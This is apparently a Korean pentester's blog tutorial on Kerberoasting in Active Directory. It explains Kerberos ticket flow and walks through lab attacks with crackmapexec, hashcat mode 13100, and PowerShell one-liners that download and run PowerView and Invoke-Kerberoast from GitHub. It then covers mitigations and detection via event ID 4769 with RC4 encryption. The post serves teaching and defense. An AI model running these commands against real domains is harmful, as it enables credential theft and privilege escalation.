들어가며
내부 네트워크 모의침투테스트나 레드팀 활동 중 가장 중요한 요소를 뽑으라면 바로 액티브 디렉토리 (Active Directory, 이하 AD)의 포스트 익스플로잇 (Post-Exploitation) 및 횡적 이동 (Lateral Movement)일 것이다. 최근 클라우드 환경 및 풀-SaaS 등을 도입하는 고객들도 있지만, 아직까지는 온프레미스 AD나 하이브리드 AD를 가지고 있는 고객들이 훨씬 더 많기 때문에 AD 보안은 아직도 많이 중요하다.
AD를 공격하는 방법에는 여러가지가 있다. 도메인 내 권한 상승 공격인 Kerberoasting, AS-REPRoasting, Unconstrained Delegation, Contrained Delegation 부터, 도메인 내 지속성 공격인 Golden Ticket, Silver Ticket, DC Sync, 그리고 어느 공격에도 사용 가능한 Group Policy Object Abusing 까지… 위 언급된 공격 방식들은 APT 들이 실제 공격을 할때도 사용되는 공격 방식들이다. 이렇듯 AD 를 공격하는 방법은 여러가지가 있지만, 적어도 우리나라 내에서 이와 관련된 공격들에 대해 공개적으로 알려진 정보가 없는 것 같아 조금 걱정됐다. 그래서 이번 기회에 AD 공격 방법 중 하나인 커버로스팅 (Kerberoasting) 의 원리는 뭔지, 실습은 어떻게 하는지, 대응은 어떻게 하는지 등에 대해서 써봤다.
목차
- 액티브 디렉토리와 커버로스
- 커버로스팅 (Kerberoasting)
- 실습 준비
- 실습 - 도메인 밖 Kali Linux 로부터
- 실습 - 도메인 안 Windows System 로부터
- 대응방안
- 마치며
액티브 디렉토리와 커버로스
액티브 디렉토리 (이하 AD)를 설명하려면 블로그 글이 아니라 대학교 강의를 만들어도 모자라기 때문에, 여기서는 커버로스와 함께 간단하게 설명한다. AD는 유저, 기기, 정책, 자원등의 객체들을 논리적 울타리에 모아놓은 디렉토리 서비스다. 수백, 수천개의 객체들을 중앙에서 관리하기 편하도록 만들어진 시스템이라고 생각하면 쉽다. AD가 “관리” 하는 것들은 수십가지가 있지만, 큰 그림을 보자면 각 객체들의 사용자 인증 (Authentication) 과 접근 제어 (Access Control)를 관리한다.
AD가 사용하는 사용자 인증 프로토콜 중 하나가 바로 커버로스 (Kerberos) 다. 커버로스는 티켓 (ticket) 을 기반으로 만들어진 인증 프로토콜이다. 클라이언트와 서버가 상호간에 믿고 있는 제 3자인 Key Distribution Center 라는 Trusted Third Party 를 통해 서로 인증을 하는 방식이다. 예를 들어 철수와 영희가 맨 처음 만났을 때, 둘 다 서로 친구 관계인 민수를 통해 서로를 믿게 되는 것과 비슷하다. 일단 AD 기반의 커버로스가 어떻게 사용자를 인증하는지에 대해 대략적으로 알아보자.
위 그림에 나와있는 몇 가지 용어들에 대해 알아보자.
- KDC (Key Distribution Center) - AD에서 도메인 서비스를 제공해주는 서버다. 사용자 및 객체 데이터베이스를 가지고 있다. 대부분 도메인 컨트롤러 서버가 KDC 역할을 담당한다.
- TGT (Ticket Granting Ticket) - 티켓을 발행해주는 티켓
- ST (Service Ticket) - 서비스를 이용하는데 필요한 티켓
- TGS (Ticket Granting Service) - ST를 발급해주는 서비스
커버로스 사용자 인증은 다음과 같은 6가지 단계로 이뤄진다.
0. 사용자가 특정 서비스를 사용하기로 마음을 먹는다. 예를 들자면 Outlook 을 이용해 이메일을 확인 한다던지, 특정 프로그램을 사용했는데 그 프로그램의 백엔드가 AD의 MSSQL 서버와 연동이 된다던지, 등.
- 사용자는 이름과 NTLM 해시화된 비밀번호를 가지고 Timestamp 를 암호화한 뒤, KDC 에게 TGT를 요청한다.
- KDC는 사용자 인증을 하고, 성공시 사용자 기기에게 TGT를 반환한다. 실패시 당연히 사용자 이름 혹은 비밀번호가 틀렸다고 반환한다.
- 사용자는 TGT와 함께 접근하고 싶은 서비스의 Service Principal Name (SPN) 을 가지고 ST을 요청한다.
- KDC 는 TGT 가 제대로된 TGT인지 확인하고, 사용자가 요청한 서비스의 NTLM 해시화된 비밀번호로 ST을 암호화 한 뒤 사용자에게 ST을 반환한다.
- 사용자는 ST을 받은 뒤 접근하고 싶었던 호스트와 포트로 가 ST을 제시한다.
- 서비스는 사용자의 TGS를 받은 뒤, 자신의 NTLM 해시화된 비밀번호로 ST을 복호화 할 수 있는지 확인한다. 복호화에 성공한다면 제대로된 ST인 것이니 사용자의 접근을 허락한다.
예를 들면 큰 놀이공원에 갈 때 정문의 매표소에서 신분 확인을 한 뒤 출입티켓을 받고, 놀이공원 안에 들어가서 각기 다른 놀이기구를 탈 때 또 각 기구마다 티켓을 끊어야한다고 생각하면 쉽다. “나”는 사용자, 정문 매표소가 KDC, 기구들이 서비스, 정문 출입티켓이 TGT, 각 기구의 티켓이 ST라고 생각하면 쉽다.
커버로스팅 - Kerberoasting
커버로스팅은 2014년도 DerbyCon 컨퍼런스에서 Tim Medin 이 발표한 액티브 디렉토리 포스트 익스플로잇 도메인 권한 상승 공격이다. 포스트 익스플로잇인 만큼, 공격자가 도메인 유저 한 명의 계정 정보를 가지고 있다고 가정한다. 공격자는 그 계정을 이용해 도메인 내 서비스 계정들을 찾아낸 뒤, 그 서비스들과 관련된 Service Ticket (ST)를 KDC의 Ticket Granting Service (TGS)에게 요청한다. 그 뒤, 메모리에서 TGS를 추출해 TGS 에 들어가 있는 서비스 계정의 NTLM 해시화 된 비밀번호를 사전 공격 혹은 무작위 대입 공격 등으로 찾아내는 공격이 바로 커버로스팅이다. 가장 낮은 권한의 도메인 유저에서 도메인 내 서비스 계정, 심지어는 때에 따라서 도메인 관리자와도 비슷한 권한 상승을 할 수 있는 공격이다.
커버로스팅의 관련된 간단한 설명은 뒤로 하고, 커버로스팅 공격이 왜 가능한지부터 알아보자. 근본적인 문제는 AD와 커버로스의 디자인에서 찾을 수 있다.
문제점
- 모든 도메인 유저는 서비스 계정들을 찾아볼 수 있다.
- 모든 도메인 유저는 특정 서비스를 상대로 KRB_TGS_REQ 요청을 할 수 있다.
- KDC 는 유저가 특정 서비스에 접근 권한이 있는지 없는지 확인하지 않는다. 사용자가 제대로된 TGT를 가지고 있고 TGS 요청을 한다면, KDC는 그에 맞는 ST을 반환할 뿐이다. 인사과에 있는 철수 인턴이 회사 메인 MSSQL 에 접근하려고 한다? KDC 는 바로 허락해준다. 디자인팀에 있는 영희 대리가 CIFS 에 접근하려고 한다? KDC 는 바로 허락해준다.
- 유저에게 반환된 ST는 서비스 계정의 NTLM 해시화된 비밀번호로 RC4-HMAC 암호화가 되어있다. 즉, 유저는 bruteforce 혹은 dictionary attack 을 통해 임의의 NTLM 해시를 만들고, 그 NTLM 해시로 ST을 복호화 하는데 성공한다면 서비스 계정의 비밀번호를 알아낸 것과 다름이 없게된다.
문제점들을 보면 볼수록 이게 가능하다는 것 자체가 어이가 없다. 더 큰 문제점은 바로 커버로스 프로토콜 상 위 문제점들은 문제점이 아니라는 것이다. 즉, 일반 도메인 유저가 서비스 계정들을 찾거나, 접근 권한이 없어도 ST을 요청할 수 있거나 하는 일들은 모두 정상적인 AD와 커버로스 프로토콜 사용 방법이다.
물론 프로토콜이 아니라 어플리케이션/OS 층에서 이 문제점들을 막을 수는 있다. 예를 들어 1번 문제점의 경우, AD는 허락하지만 도메인 유저가 서비스 계정들을 찾을 수 없도록 파워쉘에 Constrained Language Mode 를 걸거나, AppLocker 등으로 cmd/powershell 등을 막거나, EDR 솔루션 등으로 공격자의 에이전트 파일을 막을 수 있을 것이다. 하지만 방어자가 위 방어 수단을 갖추지 않았거나, 공격자가 방어 수단을 뚫을 수만 있다면, AD와 커버로스는 언제나 친절하게 도메인 내 모든 서비스 계정 리스트를 일반 도메인 유저에게 반환할 것이다. 다계층 보안 (Layered Security) 이 얼마나 중요한지 보여주는 사례다.
커버로스 대응 방법에 대해서는 후술한다. 일단 공격 방법 및 실습을 먼저 알아보자.
커버로스팅 공격 방법
커버로스팅 공격 방법은 다음과 같이 진행된다.
- 공격자는 도메인 유저 1명의 계정 정보 (이름/비밀번호)를 알고 있는 상태다. (포스트 익스플로잇 공격이다)
- 이 계정을 통해 도메인 컨트롤러에게 도메인 안에 서비스 계정들을 다 알려달라고 요청한다.
- KDC 는 도메인 안에 서비스 계정들을 친절하게 다 알려준다.
- 공격자는 받은 서비스 계정들을 상대로 ST을 각각 신청한다.
- KDC 는 공격자의 도메인 유저가 서비스에 접근 권한이 있는지 확인하지 않는다. 그냥 TGS 요청이 들어오면 친절하게 ST을 반환해줄뿐이다.
- 이제 공격자는 ST를 한 다발 들고 있다. 메모리에서 ST들을 모두 추출해 파일 혹은 텍스트 형태로 만든다.
- 공격자는 TGS 파일들을 가지고 자신의 복호화 전문 기기로 가 hashcat/johntheripper 등의 툴을 사용해 오프라인에서 dictionary attack 을 진행한다. Dictionary 속 각 비밀번호의 NTLM 해시를 만들고, 그 해시로 ST가 복호화되는지 확인한다. 만약 ST 복호화에 성공했다면, 서비스 계정의 비밀번호는 바로 그 비밀번호가 되는 것이다. 당연히 오프라인으로 진행되는 공격이기 때문에 방어자 및 KDC 는 무슨 공격이 일어나고 있는지도 모른다.
실습 준비
(홈랩에 AD 를 구축하는 실습은 생략한다)
커버로스팅은 서비스 계정의 NTLM 해시화된 비밀번호를 알아내는 공격 방법 이기 때문에 일단 서비스 계정이 필요하다. 이번 실습의 경우 SQL 관리자 계정을 만든다.
AD 속 서비스 계정들은 Service Principal Name (SPN) 이라는 고유식별자를 가진다. 실제로 특정 호스트, 특정 포트에서 돌아가고 있는 서비스와 도메인 서비스 (유저) 계정을 이어주는 식별자라고 생각하면 된다. 원래라면 특정 프로그램을 설치하거나 설정할 때 SPN 도 같이 설정이 되겠지만, 실습을 위해선 콘솔상에서 직접 설정해주자.
setspn -A <서비스_계정_이름>/<호스트FQDN>:<포트> <서비스_계정_이름>
setspn -A sqladmin/dc.choi.local:1433 sqladmin
SPN 설정을 할 때 재밌는 점은 해당 호스트 및 포트에 실제로 SQL 같은 프로그램이 구동되지 않아도 SPN 은 만들어진다. 즉, 포트를 31337, 29292 이렇게 해도 KDC 는 해당 포트에 프로그램이 돌아가고 있는지 확인하지 않고 그냥 SPN 을 만들어버린다. 다시 한 번 AD가 얼마나 “착한지” 알 수 있는 부분이다.
실습 - 도메인 밖 공격자
도메인 밖에서 공격을 한다고 가정했을 때 실습 방법이다. 예를 들어 내부 모의침투테스트를 진행할 경우, 테스터는 고객사의 VPN 터널을 이용해 자신의 칼리 리눅스 기기를 가지고 고객사의 네트워크에 진입한다. 하지만 이 칼리 리눅스 기기는 도메인에 등록되지 않은, 도메인 밖에 있는 상태다. 비밀번호 스프레이 (Password Spraying) 공격 등을 통해 일반적인 도메인 유저인 lora.amy 의 계정정보를 획득했다고 가정하자.
Crackmapexec 을 통해 일단 lora.amy 의 계정정보가 정확한지 확인해본다.
cme smb 192.168.48.130 -u lora.amy -p 'Password123!' -d choi.local
제대로된 계정정보이니, 이제 커버로스팅을 진행한다. Crackmapexec 가 알아서 TGS 요청한 뒤 ST을 메모리에서 추출해 콘솔창에 출력해준다.
cme ldap 192.168.48.130 -u lora.amy -p 'Password123!' -d choi.local --kerberoasting kerberoasting.txt
이 TGS 정보를 그대로 복사/붙여넣기 한 뒤, 테스터의 복호화 전문 기기에서 복호화를 진행한다. Hashcat 을 이용할때 커버로스팅 전용 13100
해시모드를 사용한다.
.\hashcat.exe -a 0 -m 13100 .\kerberoasting.txt .\dictionary_choidomain.txt -g 50
Sqladmin 서비스 계정의 Password123!
비밀번호를 크래킹한 후, TGS 복호화에 성공했다. 마지막으로 얻어낸 비밀번호가 맞는지 확인해본다.
성공적이다. 실 공격이라면 이 sqladmin 계정정보를 가지고 해당 sql서버에 접속을 하거나, sql 어플리케이션에 접속을 해 데이터베이스를 추출할 수 있게된다. 이를 바탕으로 더 많은 포스트 익스플로잇 및 횡적이동을 실시할 수 있게 된다.
실습 - 도메인 안 공격자
모의침투/레드팀 중 Assumed Breach 상황이나 내부 모의침투테스트 중 고객사가 도메인 안의 기기에서 테스트를 진행하고 싶어할 때를 대비한 실습이다. Agent 가 있는 상황일수도 있고, 아니면 직접적으로 콘솔 접근이 가능한 상황일수도 있다.
파워쉘 메모리안에 PowerView 를 불러온다.
IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/BC-SECURITY/Empire/master/data/module_source/situational_awareness/network/powerview.ps1')
PowerView 를 이용해 SPN 을 가지고 있는 서비스 계정 이름들을 모두 받아온다. AD는 너무 착해서 탈이다.
Get-DomainUser -SPN -Properties SamAccountName, ServicePrincipalName
커버로스팅을 위해 파워쉘 메모리에 Invoke-Kerberoast.ps1
스크립트를 불러온다.
iex (new-object Net.WebClient).DownloadString("https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1")
불러온 스크립트를 기반으로 ST을 출력한다.
Invoke-Kerberoast -OutputFormat hashcat| % { $_.Hash }
위와 마찬가지로 ST 출력을 그대로 복사/붙여넣기 해서 공격자의 복호화 전문 기기에서 복호화를 진행한다.
.\hashcat.exe -a 0 -m 13100 .\kerberoasting.txt .\dictionary_choidomain.txt -g 50
대응방안
커버로스팅과 관련된 글들을 보면 대부분 대응방안이 비슷하다. “서비스 계정을 생성할 때 꼭 강력한 비밀번호를 쓰자”. 실제로 맞는 말이다. 어쨋든 공격 자체가 사전 공격을 바탕으로 서비스 계정의 NTLM 해시화된 비밀번호를 만들어 낸 뒤, 그걸 가지고 ST 복호화를 시도해 성공하면 비밀번호를 찾아내는 방식이기 때문이다. 서비스 계정의 비밀번호가 Dictionary 자체에 들어가있지 않은, 혹은 무작위대입 공격을 하기에 현실적으로 불가능한 X5j13$#eCM1cG@KdA!%a!(D2i
같은 비밀번호라고 가정해보자. 이 경우, 절대로 ST 복호화에 성공하지 못할 것이고, 따라서 서비스 계정의 비밀번호를 알아낼 수 없다.
따라서 대응 방안은 다음과 같다.
- AD 안 서비스 계정을 만들고 운영할 때 꼭 강력한 비밀번호를 사용한다.
- 서비스 계정을 만들고 운영해야한다면 Managed Service Account 를 이용한다. AD 측에서 알아서 보안에 신경써서 서비스 계정을 자동적으로 만들어준다.
- Fine-Grained Password Policy (FGPP) 를 이용해 서비스 계정에 약한 비밀번호가 설정이 될 수 있는 것을 원천적으로 차단한다.
탐지 방안
하지만 단순히 공격을 막는 것은 부족하다. 실제로 APT 가 우리 회사의 네트워크에 침투 했을 때 서비스 계정의 비밀번호가 강력하다면 커버로스팅은 막을 수 있을 것이다. 하지만 공격자는 다른 도메인 공격 방법을 사용할 것이다. 방어자의 입장에서 우리는 "누군가 커버로스팅을 시도했다" - 라는 사실을 탐지할 수 있어야 하고, 그에 맞는 대응을 할 수 있어야 한다.
위에서 서술했던 커버로스의 문제점들을 바탕으로 몇 가지 탐지 방법을 생각해볼 수 있다.
- 특정 도메인 유저가 모든 서비스 계정정보들을 알아내려는 시도를 할 때, 이를 탐지한다.
- 특정 도메인 유저가 짧은 시간 내 많은 숫자의 TGS 를 요청할 때, 이를 탐지한다.
- 특정 도메인 유저가 TGS 요청시 TGS 암호화 알고리즘을 굳이 안전한 AES가 아닌 RC4 로 설정할 때, 이를 탐지한다.
1번은 어플리케이션/OS 층에서 막을 수 있는 방법이니 설명을 생략한다. 사실상 1번 탐지 방법은 네트워크 상에서 막기보다는 엔드포인트 상에서 막는 방법이다. 파워쉘 Module logging, Script Block logging 설정 후 이벤트 로그를 중앙 로그 서버로 보내고, 파워쉘 Constrained Language Mode 및 Applocker 등을 엔드포인트에 설정을 해줘야한다. AV/EDR 솔루션을 통해 공격자의 에이전트 실행파일을 원천적으로 막는 것도 중요하다.
2번은 논리적이긴 하나, 탐지 논리를 만들어내기가 현실적으로 어렵다. 첫째, 실제로 정상 유저들이 짧은 시간 내 많은 숫자의 TGS 요청을 보낼때가 있다. 둘째, 뭐가 “짧은 시간” 이며 뭐가 “많은 숫자” 인지 그 임계치를 설정하는 것 또한 어려운 일이다.
3번이 네트워크 상에서 커버로스팅을 탐지하는데 가장 확실한 방법이다. 2008년도 이후 왠만한 어플리케이션들은 TGS 요청을 보낼 때 기본적으로 ST을 AES
암호화 해달라고 요청한다. 하지만 공격자들의 경우 복호화가 쉬운 RC4-HMAC
로 암호화 해달라고 요청을 하게 된다. 바로 이 차이점을 기반으로 탐지를 하면 커버로스팅 공격 시도를 알 수 있다.
탐지 방안 - 실습
해당 탐지 방안 실습을 프로덕션 AD 에서 실행하지 마시길 바랍니다. 탐지 방안 관련된 개념을 잡고, 실제 프로덕션 AD에 어떻게 적용을 시킬지 생각 하시길 바랍니다.
AD 는 기본적으로 커버로스 관련된 로깅을 하지 않는다. TGT 요청/응답 및 TGS 요청/응답이 1명의 유저 기준으로 하루에도 수십, 수백번씩 이뤄져 로그가 너무 많아지기 때문이다. 로그가 많아지면 오히려 효율이 떨어질때가 있다. 방어자의 입장에서 하루에 수천, 수만개의 로그를 쳐다보고 있던 기억, 있지 않는가. 그렇기 때문에 이번 실습에서는 의미 있는 커버로스 로깅을 어떻게 하면 설정할 수 있는지 실습해본다.
먼저 도메인 컨트롤러에서 GPMC.msc
를 실행해 도메인 컨트롤러의 그룹 정책을 설정한다.
해당 그룹 정책으로 가 커버로스 TGS 요청 성공시 로깅을 하도록 설정한다. 참고로 프로덕션 AD 에서 다음 정책을 별 다른 준비 없이 설정한다면 유저 수에 따라 하루에 수천, 수만개의 로그들이 발생할 수 있으니 조심해야한다.
Default Domain Controllers Policy/Computer Configuration/Policies/Windows Settings/Security Settings/Advanced Audit Policy Configuration/Audit Policies/Account Logon/Audit Kerberos Service Ticket Operations - Success
그룹 정책을 설정한 뒤 업데이트를 해준다.
Gpupdate.exe /force
이제 이벤트 뷰어를 켜보면 커버로스 TGS 관련된 로그가 어마어마하게 들어오기 시작할 것이다. 커버로스 TGS 요청 관련된 이벤트 아이디는 4769 다.
eventvwr.msc
공격자가 커버로스팅을 진행했을 때의 TGS 요청이다. 보다시피 TGS 의 암호화 알고리즘이 크래킹하기 쉬운 0x17, RC4-HMAC 으로 설정되어 있는 것을 볼 수 있다.
TGS 요청시 암호화 알고리즘의 종류는 다음과 같다. 아래의 표는 마이크로소프트의 Jerry Devore 가 다음 글에서 작성했다. (https://techcommunity.microsoft.com/t5/core-infrastructure-and-security/decrypting-the-selection-of-supported-kerberos-encryption-types/ba-p/1628797)
그렇다면 일반적인 TGS 요청의 암호화 알고리즘은 어떨까? 다음과 같이 0x12, AES256 알고리즘을 요청하는 것을 볼 수 있다.
따라서 궁극적인 탐지 방안은 다음과도 같을 것이다.
- 이벤트 아이디 4769 중, TGS 암호화 알고리즘 0x17 (RC4-HMAC) 을 요청하는 것을 탐지하자.
- 특히 1명의 도메인 유저가 많은 숫자의 TGS 요청을 1번과 같이 보낼 때 이를 탐지하자.
- 추가적으로, 파워쉘 로깅을 통해 특정 유저가 SPN 을 가지고 있는 서비스 계정 리스트를 요청하는 것을 탐지하자.
이렇게 하면 커버로스팅 공격 시도를 탐지할 수 있다.
마치며
커버로스팅은 AD와 커버로스 프로토콜의 디자인 및 적용 취약점을 활용한 AD 포스트 익스플로잇 공격이다. 이 글을 통해 AD 와 커버로스의 디자인적인 문제점, 그 문제점을 이용한 커버로스팅의 공격 원리 및 방법, 실습 준비 단계, 다양한 시나리오상에서의 실습, 대응 방안, 그리고 마지막으로 탐지 방안까지 알아봤다. 커버로스팅은 실제 APT 들도 네트워크를 공격할 때 자주 사용 되는 공격 방식이다. MITRE ATT&CK 에도 올라가있다.
공격자가 AD까지 침투했다고 해서 게임이 끝난 것은 아니다. 오히려 공격자가 AD에 침투했을 때가 방어자의 입장에서는 게임이 시작되는 시점이다. 현재 Indeed 사에서 보안 엔지니어로 일하고 있는 친구가 해줬던 말이 있다 - "공격자는 내부망으로 침투할 때 단 하나의 약한 연결고리만 찾으면 된다. 하지만 내부망 안에서 방어자는 공격자의 단 하나의 실수만 찾으면 된다". (Attackers only need to find one weakest link to get "in"; when they are "in", the defenders only need to find one mistake from the attacker). 공격의 원리를 이해하고 대응 방안 및 탐지 방안이 만들어지는 원리를 이해할 수 있다면, AD를 더 안전하게 만들 수 있을 것이다.
이 글을 통해 커버로스팅의 원리와 대응 방안을 알고, 여러분들 또한 자신의 AD를 안전하게 지키셨으면 좋겠다.
Happy Hacking!
레퍼런스
- https://adsecurity.org/?p=3458
- https://docs.microsoft.com/en-us/archive/blogs/askds/hunting-down-des-in-order-to-securely-deploy-kerberos
- https://attack.mitre.org/techniques/T1558/003/
- https://docs.microsoft.com/en-us/windows-server/security/group-managed-service-accounts/getting-started-with-group-managed-service-accounts
- https://techcommunity.microsoft.com/t5/core-infrastructure-and-security/decrypting-the-selection-of-supported-kerberos-encryption-types/ba-p/1628797
- https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/get-started/adac/introduction-to-active-directory-administrative-center-enhancements--level-100-#:~:text=Fine-grained password policies apply,set fine-grained password policies.